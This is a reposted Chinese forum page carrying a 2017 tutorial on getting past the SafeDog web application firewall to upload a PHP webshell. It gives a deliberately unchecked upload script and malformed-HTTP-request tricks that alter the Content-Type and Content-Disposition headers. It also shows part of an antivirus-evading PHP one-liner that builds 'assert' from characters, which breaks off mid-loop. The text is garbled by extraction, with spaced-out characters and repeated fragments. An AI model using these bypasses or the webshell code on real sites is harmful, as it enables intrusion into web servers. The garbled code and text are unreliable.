搜索

[10936] 2017-01-16_绕过网站安全狗拦截，上传Webshell技巧总结附免杀PHP一句话

文档创建者：s7ckTeam
浏览次数：54
最后更新：2025-01-18
2017-01-16_绕过网站安全狗拦截，上传Webshell技巧总结附免杀PHP一句话 绕 过 网 站 安 全 狗 拦 截 ， 上 传 W e b s h e l l 技 巧 总 结   |   附 免 杀 P H P 一 句 话 1 _ 2   F r e e B u f   2 0 1 7 - 0 1 - 1 6 * 本 文 原 创 作 者 ： 1 _ 2 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 这 篇 文 章 我 介 绍 一 下 我 所 知 道 的 绕 过 网 站 安 全 狗 上 传 这 篇 文 章 我 介 绍 一 下 我 所 知 道 的 绕 过 网 站 安 全 狗 上 传 W e b S h e l l 的 方 法 。 的 方 法 。 思 路 是 ： 修 改 思 路 是 ： 修 改 H T T P 请 求 ， 构 成 畸 形 请 求 ， 构 成 畸 形 H T T P 请 求 ， 然 后 绕 过 网 站 安 全 狗 的 检 测 。 请 求 ， 然 后 绕 过 网 站 安 全 狗 的 检 测 。 废 话 不 多 说 ， 切 入 正 题 。 。 。 。 1 、 实 验 环 境 ： 、 实 验 环 境 ： W i n d o w s   S e r v e r   2 0 0 3 、   A p a c h e / 2 . 4 . 1 8 、 P H P / 5 . 3 . 2 9 、 网 站 安 全 狗 ( A p a c h e 版 ) V 3 . 5 . 1 2 0 4 8 2 、 用 于 文 件 上 传 的 、 用 于 文 件 上 传 的 P H P 源 码 ： 源 码 ： 因 为 此 次 实 验 的 目 的 是 绕 过 网 站 安 全 狗 ， 所 以 P H P 源 码 上 我 没 做 任 何 检 测 ， 把 上 传 的 文 件 直 接 放 在 u p l o a d 目 录 下 。 3 、 先 看 一 下 正 常 的 、 先 看 一 下 正 常 的 H T T P 请 求 ： 请 求 ： 很 明 显 ， 文 件 名 为 ” y i j u h u a . p h p ” 被 拦 截 。 。 。 。 4 、 尝 试 、 尝 试 % 0 0 截 断 ： 截 断 ： < ? p h p   $ p a t h   =   d i r n a m e ( _ _ F I L E _ _ )   .   ' / u p l o a d / ' ;   $ r a n d   =   r a n d ( 0 , 3 0 ) ;   m o v e _ u p l o a d e d _ f i l e ( $ _ F I L E S [ " f i l e " ] [ " t m p _ n a m e " ] , $ p a t h   .   $ r a n d   .   $ _ F I L E S [ " f i l e " ] [ " n a m e " ] ) ;
很 明 显 ， 失 败 了 。 。 。 5 、 修 改 、 修 改 H T T P 请 求 ， 构 造 畸 形 请 求 ， 构 造 畸 形 H T T P 请 求 请 求 ( 1 ) 删 除 实 体 里 面 的 C o n t e n - T y p e 字 段 ： 绕 过 网 站 安 全 狗 的 拦 截 ， 成 功 上 传 W e b S h e l l 。 。 。 ( 2 ) 删 除 C o n t e n t - D i s p o s i t i o n 字 段 里 的 空 格 ：
( 3 ) 修 改 C o n t e n t - D i s p o s i t i o n 字 段 值 的 大 小 写 ：
6 、 菜 刀 连 接 一 句 话 ： 、 菜 刀 连 接 一 句 话 ： 到 此 ， 上 传 W e b S h e l l 结 束 ， 各 位 看 明 白 了 吗 ？ 7 、 免 杀 、 免 杀 P H P 一 句 话 ： 一 句 话 ： < ? p h p / *   P H P 一 句 话 木 马   a s s e r t ( $ s t r i n g )   * /   $ a r r   =   a r r a y ( ' a ' , ' s ' , ' s ' , ' e ' , ' r ' , ' t ' ) ;   $ f u n c   =   ' ' ; f o r ( $ i = 0 ; $ i < c o u n t ( $ a r r ) ; $ i + + )   {
8 、 修 复 漏 洞 ： 、 修 复 漏 洞 ： 出 现 这 种 情 况 ， 我 认 为 是 网 站 安 全 狗 在 开 发 时 没 有 考 虑 到 畸 形 H T T P 请 求 ， 而 A p a c h e 却 兼 容 畸 形 H T T P 请 求 ， 所 以 能 够 上 传 成 功 。 * 本 文 原 创 作 者 ： 1 _ 2 （ Q Q : 9 6 5 2 0 7 1 0 3 ） ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载        
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理